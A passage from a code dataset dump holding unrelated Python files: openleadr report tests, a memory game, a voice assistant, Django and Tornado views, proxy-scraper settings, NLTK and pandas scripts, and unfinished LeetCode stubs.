OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b',)\n\n # Add 4 reports\n client.add_report(callback=collect_data,\n report_specifier_id='CurrentReport',\n resource_id='Device001',\n measurement='current',\n unit='A')\n client.add_report(callback=collect_data,\n report_specifier_id='CurrentReport',\n resource_id='Device002',\n measurement='current',\n unit='A')\n client.add_report(callback=collect_data,\n report_specifier_id='VoltageReport',\n resource_id='Device001',\n measurement='voltage',\n unit='V')\n client.add_report(callback=collect_data,\n report_specifier_id='VoltageReport',\n resource_id='Device002',\n measurement='voltage',\n unit='V')\n client.add_report(callback=collect_status,\n report_name='TELEMETRY_STATUS',\n report_specifier_id='StatusReport',\n resource_id='Device001')\n\n asyncio.create_task(server.run_async())\n await asyncio.sleep(1)\n # Register the client\n await client.create_party_registration()\n\n # Register the reports\n await client.register_reports(client.reports)\n assert len(client.report_requests) == 3\n assert len(server.services['report_service'].report_callbacks) == 5\n await client.stop()\n await server.stop()\n\n\n@pytest.mark.asyncio\nasync def test_report_registration_full():\n \"\"\"\n Test the registration of two reports with two r_ids each.\n \"\"\"\n # Create a server\n logger = logging.getLogger('openleadr')\n logger.setLevel(logging.DEBUG)\n server = OpenADRServer(vtn_id='testvtn')\n server.add_handler('on_register_report', on_register_report_full)\n server.add_handler('on_create_party_registration', on_create_party_registration)\n\n # Create a client\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n\n # Add 4 reports\n client.add_report(callback=collect_data,\n report_specifier_id='PowerReport',\n resource_id='Device001',\n measurement='power_real',\n unit='W')\n client.add_report(callback=collect_data,\n report_specifier_id='PowerReport',\n resource_id='Device002',\n measurement='power_real',\n unit='W')\n client.add_report(callback=collect_data,\n report_specifier_id='VoltageReport',\n resource_id='Device001',\n measurement='voltage',\n unit='V')\n client.add_report(callback=collect_data,\n report_specifier_id='VoltageReport',\n resource_id='Device002',\n measurement='voltage',\n unit='V')\n\n\n await server.run_async()\n await asyncio.sleep(0.1)\n # Register the client\n await client.create_party_registration()\n\n # Register the reports\n await client.register_reports(client.reports)\n assert len(client.report_requests) == 2\n assert len(server.services['report_service'].report_callbacks) == 4\n await client.stop()\n await server.stop()\n\n\n@pytest.mark.asyncio\nasync def test_update_reports():\n \"\"\"\n Tests the timely delivery of requested reports\n \"\"\"\n # Create a server\n logger = logging.getLogger('openleadr')\n logger.setLevel(logging.DEBUG)\n loop = asyncio.get_event_loop()\n server = OpenADRServer(vtn_id='testvtn')\n\n register_report_future_1 = loop.create_future()\n register_report_future_2 = loop.create_future()\n register_report_futures = [register_report_future_1, register_report_future_2]\n\n receive_report_future_1 = loop.create_future()\n receive_report_future_2 = loop.create_future()\n receive_report_future_3 = loop.create_future()\n receive_report_future_4 = loop.create_future()\n receive_report_futures = [receive_report_future_1, receive_report_future_2, receive_report_future_3, receive_report_future_4]\n server.add_handler('on_register_report', partial(on_register_report, futures=register_report_futures, receive_futures=receive_report_futures))\n\n party_future = loop.create_future()\n server.add_handler('on_create_party_registration', partial(on_create_party_registration, future=party_future))\n\n # Create a client\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n\n # Add 4 reports\n future_1 = loop.create_future()\n client.add_report(callback=partial(collect_data, future=future_1),\n report_specifier_id='PowerReport',\n resource_id='Device001',\n measurement='power_real',\n sampling_rate=timedelta(seconds=2),\n unit='W')\n future_2 = loop.create_future()\n client.add_report(callback=partial(collect_data, future=future_2),\n report_specifier_id='PowerReport',\n resource_id='Device002',\n measurement='power_real',\n sampling_rate=timedelta(seconds=2),\n unit='W')\n future_3 = loop.create_future()\n client.add_report(callback=partial(collect_data, future=future_3),\n report_specifier_id='VoltageReport',\n resource_id='Device001',\n measurement='voltage',\n sampling_rate=timedelta(seconds=2),\n unit='V')\n future_4 = loop.create_future()\n client.add_report(callback=partial(collect_data, future=future_4),\n report_specifier_id='VoltageReport',\n resource_id='Device002',\n measurement='voltage',\n sampling_rate=timedelta(seconds=2),\n unit='V')\n\n assert len(client.reports) == 2\n asyncio.create_task(server.run_async())\n await asyncio.sleep(1)\n\n # Run the client asynchronously\n print(\"Running the client\")\n asyncio.create_task(client.run())\n\n print(\"Awaiting party future\")\n await party_future\n\n print(\"Awaiting report futures\")\n await asyncio.gather(register_report_future_1, register_report_future_2)\n await asyncio.sleep(0.1)\n assert len(server.services['report_service'].report_callbacks) == 4\n\n print(\"Awaiting data collection futures\")\n await future_1\n await future_2\n await future_3\n await future_4\n\n print(\"Awaiting update report futures\")\n await asyncio.gather(receive_report_future_1, receive_report_future_2, receive_report_future_3, receive_report_future_4)\n print(\"Done gathering\")\n\n assert receive_report_future_1.result()[0][1] == future_1.result()\n assert receive_report_future_2.result()[0][1] == future_2.result()\n assert receive_report_future_3.result()[0][1] == future_3.result()\n assert receive_report_future_4.result()[0][1] == future_4.result()\n\n await client.stop()\n await server.stop()\n\nasync def get_historic_data(date_from, date_to):\n pass\n\nasync def collect_data_multi(futures=None):\n print(\"Data Collected\")\n if futures:\n for i, future in enumerate(futures):\n if future.done() is False:\n print(f\"Marking future {i} as done\")\n future.set_result(True)\n break\n return 3.14\n\n@pytest.mark.asyncio\nasync def test_incremental_reports():\n loop = asyncio.get_event_loop()\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n collect_futures = [loop.create_future() for i in range(2)]\n client.add_report(callback=partial(collect_data_multi, futures=collect_futures),\n report_specifier_id='myhistory',\n measurement='voltage',\n resource_id='mydevice',\n sampling_rate=timedelta(seconds=2))\n\n server = OpenADRServer(vtn_id='myvtn')\n\n register_report_future = loop.create_future()\n update_report_future = loop.create_future()\n server.add_handler('on_register_report', partial(on_register_report,\n bundling=2,\n futures=[register_report_future],\n receive_futures=[update_report_future]))\n\n party_future = loop.create_future()\n server.add_handler('on_create_party_registration',\n partial(on_create_party_registration, future=party_future))\n\n loop.create_task(server.run_async())\n await asyncio.sleep(1)\n await client.run()\n print(\"Awaiting party future\")\n await party_future\n\n print(\"Awaiting register report future\")\n await register_report_future\n\n print(\"Awaiting first data collection future... \", end=\"\")\n await collect_futures[0]\n print(\"check\")\n\n await asyncio.sleep(1)\n print(\"Checking that the report was not yet sent... \", end=\"\")\n assert update_report_future.done() is False\n print(\"check\")\n print(\"Awaiting data collection second future... \", end=\"\")\n await collect_futures[1]\n print(\"check\")\n\n print(\"Awaiting report update future\")\n result = await update_report_future\n assert len(result) == 2\n\n await server.stop()\n await client.stop()\n await asyncio.sleep(0)\n\n\n\nasync def collect_data_history(date_from, date_to, sampling_interval, futures):\n data = [(date_from, 1.0), (date_to, 2.0)]\n if futures:\n for future in futures:\n if future.done() is False:\n future.set_result(data)\n break\n return data\n\n\n@pytest.mark.asyncio\nasync def test_update_report_data_collection_mode_full():\n loop = asyncio.get_event_loop()\n\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n data_collection_future = loop.create_future()\n client.add_report(callback=partial(collect_data_history, futures=[data_collection_future]),\n resource_id='Device001',\n measurement='power_real',\n data_collection_mode='full',\n sampling_rate=timedelta(seconds=1),\n unit='W')\n\n report_register_future = loop.create_future()\n report_received_future = loop.create_future()\n party_registration_future = loop.create_future()\n server = OpenADRServer(vtn_id='myvtn')\n server.add_handler('on_create_party_registration', partial(on_create_party_registration, future=party_registration_future))\n server.add_handler('on_register_report', partial(on_register_report,\n bundling=2,\n futures=[report_register_future],\n receive_futures=[report_received_future]))\n\n await server.run_async()\n await asyncio.sleep(0.1)\n\n print(f\"The time is now {datetime.now()}\")\n t = time.time()\n wait_for = int(t/2) * 2 + 2 - t\n await asyncio.sleep(wait_for)\n print(f\"The time is now {datetime.now()}, running client\")\n await client.run()\n\n await party_registration_future\n await report_register_future\n await asyncio.sleep(1)\n print(f\"The time is now {datetime.now()}, checking if report was triggered\")\n assert data_collection_future.done() is False\n\n print(\"Waiting for the data collection to occur\")\n await data_collection_future\n\n print(\"Waiting for the report to be received\")\n await report_received_future\n\n print(\"Done\")\n await server.stop()\n await client.stop()\n\n\ndef test_add_report_invalid_unit(caplog):\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n client.add_report(callback=print,\n report_specifier_id='myreport',\n measurement='voltage',\n resource_id='mydevice',\n sampling_rate=timedelta(seconds=10),\n unit='A')\n assert caplog.record_tuples == [(\"openleadr\", logging.WARNING, f\"The supplied unit A for measurement voltage will be ignored, V will be used instead. Allowed units for this measurement are: V\")]\n\ndef test_add_report_invalid_scale():\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n with pytest.raises(ValueError):\n client.add_report(callback=print,\n report_specifier_id='myreport',\n measurement='power_real',\n resource_id='mydevice',\n sampling_rate=timedelta(seconds=10),\n unit='W',\n scale='xxx')\n\ndef test_add_report_invalid_description(caplog):\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n client.add_report(callback=print,\n report_specifier_id='myreport',\n measurement={'name': 'voltage', 'description': 'SomethingWrong', 'unit': 'V'},\n resource_id='mydevice',\n sampling_rate=timedelta(seconds=10))\n msg = create_message('oadrRegisterReport', reports=client.reports)\n\n\ndef test_add_report_invalid_description(caplog):\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n with pytest.raises(ValueError):\n client.add_report(callback=print,\n report_specifier_id='myreport',\n measurement={'name': 'voltage', 'description': 'SomethingWrong', 'unit': 'V'},\n resource_id='mydevice',\n sampling_rate=timedelta(seconds=10))\n\n\ndef test_add_report_non_standard_measurement():\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b')\n client.add_report(callback=print,\n report_specifier_id='myreport',\n measurement='rainbows',\n resource_id='mydevice',\n sampling_rate=timedelta(seconds=10),\n unit='A')\n assert len(client.reports) == 1\n assert client.reports[0].report_descriptions[0].measurement.name == 'customUnit'\n assert client.reports[0].report_descriptions[0].measurement.description == 'rainbows'\n\n\n\nif __name__ == \"__main__\":\n asyncio.run(test_update_reports())\n","sub_path":"test/test_reports.py","file_name":"test_reports.py","file_ext":"py","file_size_in_byte":19736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"95211271","text":"import random\nimport os\nfrom subprocess import call\nfrom time import sleep\nimport pyfiglet\n\n\nos.system('clear')\nprint(\"Remember The Number\")\nsleep(2)\nos.system('clear')\n\n\n\nRANDOMNUMS = random.sample(range(1,15), 5)\nprint(RANDOMNUMS)\nsleep(2)\nos.system('clear')\n\n\nNewList = RANDOMNUMS[:]\nfor i in range(0,2):\n Index = random.sample(range(0,5),2)\n\n\nresult = []\nfor x in Index:\n while True:\n y = random.randint(1,14)\n if NewList[x] == y:\n continue\n else:\n NewList[x] = y\n result.append(x+1)\n break\nprint(NewList)\nresult.sort()\n\n\ntry:\n user = input('Which numbers are changed?')\n user = user.split(',')\n user.sort()\n user = [int(x) for x in user]\n if user == result:\n print(pyfiglet.figlet_format('You WON :)'))\n else:\n print(pyfiglet.figlet_format('You LOST :('))\n result = [str(x) for x in result]\n result = ','.join(result)\n print(f\"Correct answer: {result}\")\nexcept ValueError:\n print(\"You should seprate the answer with semi colon ','\")\n\n\n\n\n\n\n\n\n\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"241495765","text":"import pyttsx3 # pip install pyttsx3\r\nimport speech_recognition as sr # pip install speechRecognition\r\nimport datetime\r\nimport wikipedia # pip install wikipedia\r\nfrom gtts import gTTS\r\nimport webbrowser\r\nimport os\r\nimport subprocess\r\nfrom tkinter import *\r\nfrom tkinter.ttk import *\r\nroot = Tk()\r\nroot.title(\"Voice Assistant\")\r\nroot.geometry('1000x1000')\r\nButton(root, text = 'Chatbot').pack(side='left')\r\n\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice', voices[1].id)\r\n\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\n\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n if hour >= 0 and hour < 12:\r\n speak(\"Good Morning!\")\r\n\r\n elif hour >= 12 and hour < 18:\r\n speak(\"Good Afternoon!\")\r\n\r\n else:\r\n speak(\"Good Evening!\")\r\n\r\n speak(\"Hello ! I am Aasaan- your interactive help!. what do you want me to do?\")\r\n\r\ndef get_audio():\r\n r = sr.Recognizer()\r\n r.energy_threshold = 4000\r\n with sr.Microphone() as source:\r\n audio = r.listen(source)\r\n said = \"\"\r\n\r\n try:\r\n said = r.recognize_google(audio)\r\n print(said)\r\n except Exception as e:\r\n print(e)\r\n print(\"Exception: \" + str(e))\r\n\r\n return said\r\ndef takeCommand():\r\n # It takes microphone input from the user and returns string output\r\n\r\n r = sr.Recognizer()\r\n r.energy_threshold = 4000\r\n with sr.Microphone() as source:\r\n print(\"Aasaan listening...\")\r\n\r\n r.pause_threshold = 0.5\r\n audio = r.listen(source)\r\n\r\n try:\r\n print(\"Aasaan recognizing...\")\r\n query = r.recognize_google(audio, language='en-in')\r\n print(f\"User said: {query}\\n\")\r\n\r\n except Exception as e:\r\n # print(e)\r\n print(\"Once more please! \")\r\n\r\n return \"None\"\r\n return query\r\n\r\ndef note(query):\r\n date = datetime.datetime.now()\r\n file_name = str(date).replace(\":\", \"-\") + \"-note.txt\"\r\n with open(file_name, \"w\") as f:\r\n f.write(query)\r\n\r\n subprocess.Popen([r\"notepad.exe\", file_name])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n wishMe()\r\n while True:\r\n # if 1:\r\n query = takeCommand().lower()\r\n\r\n # Logic for executing tasks based on query\r\n if 'wikipedia' in query:\r\n speak('Searching Wikipedia...')\r\n query = query.replace(\"wikipedia\", \"\")\r\n results = wikipedia.summary(query, sentences=2)\r\n speak(\"According to Wikipedia-\")\r\n print(results)\r\n speak(results)\r\n\r\n elif 'youtube' in query:\r\n webbrowser.open(\"https://www.youtube.com/watch?v=\")\r\n\r\n elif 'google' in query:\r\n webbrowser.open(\"google.com\")\r\n\r\n elif 'ajtak' in query or 'news' in query:\r\n webbrowser.open(\"https://aajtak.intoday.in/livetv/\")\r\n elif 'search for' in query:\r\n print(\"You asked : {}\".format(query))\r\n url = 'https://www.google.co.in/search?q='\r\n search_url = url + query\r\n webbrowser.open(search_url)\r\n\r\n elif 'what is' in query or 'kya' in query or 'kyon' in query:\r\n\r\n print(\"You asked : {}\".format(query))\r\n url = 'https://www.google.co.in/search?q='\r\n search_url = url + query\r\n webbrowser.open(search_url)\r\n\r\n elif 'who is' in query:\r\n\r\n print(\"You asked : {}\".format(query))\r\n url = 'https://www.google.co.in/search?q='\r\n search_url = url + query\r\n webbrowser.open(search_url)\r\n\r\n elif 'what is' in query or 'why' in query or 'how ' in query:\r\n\r\n print(\"You said : {}\".format(query))\r\n url = 'https://www.google.co.in/search?q='\r\n search_url = url + query\r\n webbrowser.open(search_url)\r\n\r\n elif 'play music' in query:\r\n music_dir = 'D:\\machine learning\\music'\r\n songs = os.listdir(music_dir)\r\n print(songs)\r\n os.startfile(os.path.join(music_dir, songs[0]))\r\n\r\n elif 'the time' in query:\r\n strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n speak(f\"Sir, the time is {strTime}\")\r\n\r\n elif 'quit' in query or 'bye' in query:\r\n speak(\"Aasaan out! It was nice helping you. GoodBye\")\r\n exit()\r\n\r\n elif 'note' in query:\r\n speak(\"What would you like me to write down? \")\r\n write_down = get_audio()\r\n note(write_down)\r\n speak(\"I've made a note of that.\")\r\n\r\n","sub_path":"voice_assiss.py","file_name":"voice_assiss.py","file_ext":"py","file_size_in_byte":4572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"623181662","text":"import json\n\nimport tornado.escape\nimport tornado.gen\nimport tornado.web\n\n\nclass ApiHandler(tornado.web.RequestHandler):\n\n def json_response(self, data, code=200):\n self.set_header('Content-Type', 'application/json')\n data[\"status\"] = code\n self.write(json.dumps(data) + \"\\n\")\n self.set_status(code)\n\n def error(self, message, code=400):\n self.set_header('Content-Type', 'application/json')\n self.json_response({'message': message}, code)\n\n\nclass CorrectionHandler(ApiHandler):\n\n def correct(self, word):\n return self.application.correction_service.correction(word)\n\n @tornado.gen.coroutine\n def post(self):\n try:\n data = tornado.escape.json_decode(self.request.body)\n if 'word' not in data:\n raise ValueError\n except ValueError:\n self.error(u'Wrong data provided')\n else:\n self.json_response({\n 'correction': self.correct(data['word'])\n })\n","sub_path":"spellatron/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"381124145","text":"\nimport re\n\n# Various Regex patterns\n\n\n# Find all instances of double words in a string E.g. Where is the the cake ?\n#pattern_dw = r'\\b([a-z]+)\\s+\\1\\b'\npattern = r'\\b([a-z]+)\\s+\\1\\b'\nrx_i_dw= re.compile(pattern, re.IGNORECASE)\nrx_dw= re.compile(pattern)\n\n\n#check if the string contains only numbers\npattern = r'^[-+]?[0-9]+(\\.[0-9]*)?$'\nrx_is_numeric= re.compile(pattern)\n\n# Ask the user to enter a temperature\n# in celcius of fah. Default to fah\n# Capture the numeric part and the optional trailing f/c\npattern = r'^(?P[-+]?\\s*\\d+(\\.\\d*)?)\\s*(?P[fcFC]?)$'\nrx_cels_v_fah= re.compile(pattern)\n","sub_path":"myRegexPatterns.py","file_name":"myRegexPatterns.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"597767577","text":"from django.shortcuts import render, redirect\nfrom .models import Estudiante, Materia\nfrom .forms import FormularioEstudiante, FormularioMateria, FormularioModificarEstudiante, FormularioModificarMateria\n\n# Create your views here.\ndef listar(request):\n\testudiante = Estudiante.objects.all()\n\tmateria = Materia.objects.all()\n\tcontext={\n\t\t'estudiante': estudiante,\n\t\t'materia': materia,\n\t}\n\treturn render(request,\"Matriculas/listar.html\",context)\n\ndef NuevoEstudiante(request):\n\tf = FormularioEstudiante(request.POST or None)\n\n\tif request.method == 'POST':\n\t\tif f.is_valid():\n\t\t\tf_data = f.cleaned_data\n\t\t\te = Estudiante()\n\t\t\te.cedula = f_data.get(\"cedula\")\n\t\t\te.nombre = f_data.get(\"nombre\")\n\t\t\te.apellido = f_data.get(\"apellido\")\n\t\t\tif(e.save()!=True):\n\t\t\t\treturn redirect(listar)\n\tcontext = {\n\t\t'f':f,\n\t}\n\treturn render(request,\"Matriculas/CrearEstudiante.html\",context)\n\ndef NuevaMateria(request):\n\tf = FormularioMateria(request.POST or None)\n\n\tif request.method==\"POST\":\n\t\tif f.is_valid():\n\t\t\tf_data = f.cleaned_data\n\t\t\tm = Materia()\n\t\t\tm.nombre = f_data.get(\"nombre\")\n\t\t\tm.cupo = f_data.get(\"cupo\")\n\t\t\tif(m.save()!=True):\n\t\t\t\treturn redirect(listar)\n\tcontext = {\n\t\t'f':f,\n\t}\n\treturn render(request,\"Matriculas/CrearMateria.html\",context)\n\n\ndef ModificarEstudiante(request):\n\test = Estudiante.objects.get(cedula=request.GET['cedula'])\n\tf = FormularioModificarEstudiante(request.POST or None)\n\n\tf.fields[\"nombre\"].initial = est.nombre\n\tf.fields[\"apellido\"].initial = est.apellido\n\n\tif f.is_valid():\n\t\tf_data = f.cleaned_data\n\t\test.nombre = f_data.get(\"nombre\")\n\t\test.apellido = f_data.get(\"apellido\")\n\t\test.save()\n\t\treturn redirect(listar)\n\n\tcontext = {\n\t\t'est':est,\n\t\t'f':f,\n\t}\n\treturn render(request,\"Matriculas/ModificarEstudiante.html\",context)\n\ndef ModificarMateria(request):\n\tmat = Materia.objects.get(nombre=request.GET['nombre'])\n\tf = FormularioModificarMateria(request.POST or None)\n\n\tf.fields[\"cupo\"].initial = mat.cupo\n\tif f.is_valid():\n\t\tf_data = f.cleaned_data\n\t\tmat.cupo = f_data.get(\"cupo\")\n\t\tmat.save()\n\t\treturn redirect(listar)\n\tcontext={\n\t\t'mat':mat,\n\t\t'f':f,\n\t}\n\treturn render(request,\"Matriculas/ModificarMateria.html\",context)\n\ndef EliminarEstudiante(request):\n\test = Estudiante.objects.get(cedula=request.GET['cedula'])\n\test.delete()\n\treturn redirect(listar)\n\ndef EliminarMateria(request):\n\tmat = Materia.objects.get(nombre=request.GET['nombre'])\n\tmat.delete()\n\treturn redirect(listar)","sub_path":"matriculas/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"493807952","text":"import logging\n\n# 日志默认的配置\nLOG_LEVEL = logging.INFO # 默认等级\nLOG_FMT = '%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s: %(message)s' # 默认日志格式\nLOG_DATEFMT = '%Y-%m-%d %H:%M:%S' # 默认时间格式\nLOG_FILENAME = 'log.log' # 默认日志文件名称\n\n# 配置开启的爬虫, 默认爬的就是国内的免费代理\nPROXIES_SPIDERS = [\n \"spiders.proxy_spiders.Daili66ProxySpider\",\n \"spiders.proxy_spiders.Ip3366ProxySpider\",\n \"spiders.proxy_spiders.IPhaiProxySpider\",\n \"spiders.proxy_spiders.ProxylistplusSpider\",\n \"spiders.proxy_spiders.XiciProxiesSpider\"\n]\n\n# 检查代理IP超时时间(单位是秒), 如果10s没有返回数据, 就认为该IP不可用\nTIMEOUT = 10\n\n# 抓取IP的时间间隔, 单位小时\nSPIDER_INTERVAL = 2\n\n# 检查可用IP的时间间隔, 单位分钟\nTESTER_INTERVAL = 60\n\n# 检查代理IP的异步数量\nTESTER_ANSYC_COUNT = 20\n\n#默认给抓取的ip分配20分,每次连接失败,减一分,直到分数全部扣完从数据库中删除\nDEFAULT_SCORE = 20\n\n# 提供可用代理IP的默认数量, 数量越少可用性越高.\nDEFAULT_AVAILABLE_IP_COUNT = 20\n\nMONGO_URL = 'mongodb://localhost:27017/'\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"463330344","text":"__author__ = 'IFT-1004-H2015'\n__date__ = \"05 avril 2015\"\n\n\"\"\"Ce fichier représente le point d'entrée principal du TP3.\nIl ne sert qu'à exécuter votre programme du jeu Ultimate Tic-Tac-Toe\"\"\"\n\nfrom interface.jeu_utictactoe import Fenetre\n\nif __name__ == '__main__':\n ma_fenetre = Fenetre()\n ma_fenetre.mainloop()\n","sub_path":"principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"454512916","text":"from django.shortcuts import render\nfrom .models import IMG\nfrom .models import Image\n\nimport random\nfrom .form import UploadImageForm\nfrom django.http import HttpResponse\n# from PIL import Image\n# Create your views here.\ndef uploadImg(request):\n if request.method == 'POST':\n img = IMG(img_url=request.FILES.get('img'))\n img.save()\n return render(request, 'imgupload.html')\n\n# 顯示圖片\ndef showImg(request):\n imgs = IMG.objects.all()\n context = {\n 'imgs' : imgs\n }\n return render(request, 'showImg.html', context)\n\n\ndef index(request):\n \"\"\"图片的上传\"\"\"\n if request.method == 'POST':\n form = UploadImageForm(request.POST, request.FILES)\n if form.is_valid():\n picture = Image(photo=request.FILES['image'])\n picture.save()\n\n #lab = imageclassify(picture)\n return render(request, 'show.html', {'picture': picture})\n\n else:\n form = UploadImageForm()\n\n return render(request, 'index.html', {'form': form})\n\n","sub_path":"imgTest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"413316230","text":"#METHOD:1 USING COUNT VETORIZER\n\n#to find stop words\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nvectorizer = CountVectorizer(min_df=1,stop_words='english')\nprint(sorted(vectorizer.get_stop_words())[0:150])\n\n\na=\"\"\"Artificial intelligence (AI), sometimes called machine intelligence, is intelligence\n demonstrated by machines, in contrast to the natural intelligence displayed by humans and other animals. In computer\n science AI research is defined as the study of \"intelligent agents\": any device that perceives its environment \n and takes actions that maximize its chance of successfully achieving its goals.[1] Colloquially, the term \n \"artificial intelligence\" is applied when a machine mimics \"cognitive\" functions that humans associate with other\n human minds, such as learning and problem solving\n\"\"\"\nfrom nltk import word_tokenize\nat=word_tokenize(a)\n#extractiong words(not stop words)\nxt=vectorizer.fit_transform(at)\nprint(vectorizer.get_feature_names())\n\n#METHOD 2 USING STOPWORDS\n\n#The stopwords corpus is an instance of nltk.corpus.reader.\n#WordListCorpusReader. As such, it has a words() method that can take a single\n#argument for the file ID, which in this case is 'english', referring to a file containing\n#a list of English stopwords. You could also call stopwords.words() with no argument\n#to get a list of all stopwords in every language available.\n\nfrom nltk.corpus import stopwords\nenglish_stops = set(stopwords.words('english'))\nwords = [\"Can't\", 'is', 'a', 'contraction','the','is']\ns=[word for word in words if word not in english_stops]\nprint(s)\ns2=[word for word in words if word in english_stops]\nprint(s2)\n\n# give stop words of all languages available in the packages\n#print(stopwords.words())\n#can see the complete list of languages using the fileids method as follows:\n#print(stopwords.fileids())","sub_path":"class_Assignment/stop_words_1.py","file_name":"stop_words_1.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"451860004","text":"import typing\nfrom typing import *\n\nclass Solution:\n @staticmethod\n def solution1(image: List[List[int]], sr: int, sc: int, color: int) -> List[List[int]]:\n return\n\n \"\"\" Algorithm\n Keep \"iterating\" through and finding the 4 directions tiles and adding them to our work queue. Keep track of which ones don't need to be / cannot be modified\n \"\"\"\n to_modify = set()\n off_limits = set()\n work_queue = []\n\n pixel = image[sr][sc]\n work_queue.add(pixel)\n to_modify.add(pixel)\n\n if pixel == color:\n return\n\n image[sr][sc] = pixel\n off_limits.add((sr, sc))\n work_queue.append((sr, sc))\n\n # Get and queue adjacent\n\n\n\n\n def floodFill(self, image: List[List[int]], sr: int, sc: int, color: int) -> List[List[int]]:\n return self.solution1(image, sr, sc, color)\n \n\nimage = [[1,1,1],[1,1,0],[1,0,1]]\nsr = 1\nsc = 1\ncolor = 2\noutput = [[2,2,2],[2,2,0],[2,0,1]]\nassert(Solution().floodFill(image, sr, sc, color) == output)\n","sub_path":"leetcode/733_flood_fill/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"596612118","text":"import pandas as pd\nimport dataset\nimport datetime\nimport math\n\n#import data into pandas dataframe\nemployees = pd.read_csv('./extracts/employees.csv')\norders = pd.read_csv('./extracts/orders.csv')\nproducts = pd.read_csv('./extracts/products.csv')\n\n#split the data into the tables I want in the SQL dataset and convert them into lists of dictionaries\noffices = employees.loc[:,['office_code','city','state','country','office_location']].drop_duplicates().to_dict('records')\nemployees = employees.loc[:,['office_code','employee_number','last_name','first_name','reports_to','job_title']].to_dict('records')\ncustomers = orders.loc[:,['customer_number','customer_name','contact_last_name', 'contact_first_name', 'city', 'state', 'country', 'credit_limit', 'customer_location']].drop_duplicates().to_dict('records')\nproducts_ordered = orders.loc[:,[ 'order_number', 'product_code', 'quantity_ordered', 'price_each', 'order_line_number']].to_dict('records')\nproducts = products.to_dict('records')\norders = orders.loc[:,[ 'order_number', 'order_date', 'required_date' ,'shipped_date', 'status', 'comments', 'sales_rep_employee_number','customer_number']].drop_duplicates()\norders.comments = orders.comments.astype(str)\norders = orders.to_dict('records')\n\n#I had issues dealing with missing values directly in Pandas dataframes, \n#What I did is to parse through the dictionaries and remove the keys with NaN values. \n\n#remove from dictionary every key that has a nan value\nfor o in orders:\n if type(o['shipped_date']) is not str:\n del o['shipped_date']\n else:\n o['shipped_date'] = datetime.datetime.strptime(o['shipped_date'], '%Y-%m-%d').date()\n o['order_date'] = datetime.datetime.strptime(o['order_date'], '%Y-%m-%d').date()\n o['required_date'] = datetime.datetime.strptime(o['required_date'], '%Y-%m-%d').date()\n \nfor o in orders:\n if o['comments'] == 'nan':\n del o['comments']\n \nfor o in employees:\n if math.isnan(o['reports_to']):\n del o['reports_to']\n else:\n o['reports_to'] = int(o['reports_to'])\n \nfor o in products:\n if math.isnan(o['html_description']):\n del o['html_description']\n\nfor o in offices:\n if type(o['state']) is not str:\n del o['state']\n \nfor o in customers:\n if type(o['state']) is not str:\n del o['state']\n\n\n#once the data are ready, I use the dataset package to insert them in the sql tables\ndb = dataset.connect(\"postgresql://postgres@localhost/ds_assignment1\")\nemp = db['employees']\nof = db['offices']\ncust = db['customers']\npr = db['products']\npr_ord = db['products_ordered']\norde = db['orders']\n\nof.insert_many(offices)\nemp.insert_many(employees)\ncust.insert_many(customers)\npr.insert_many(products)\norde.insert_many(orders)\npr_ord.insert_many(products_ordered)","sub_path":"homework/fill_sql.py","file_name":"fill_sql.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"261154673","text":"# 413. 等差数列划分\n\nclass Solution:\n\n \"\"\"\n 动态规划\n f(n) = f(n-1) + 1,类似于子序列\n \"\"\"\n def numberOfArithmeticSlices(self, nums: 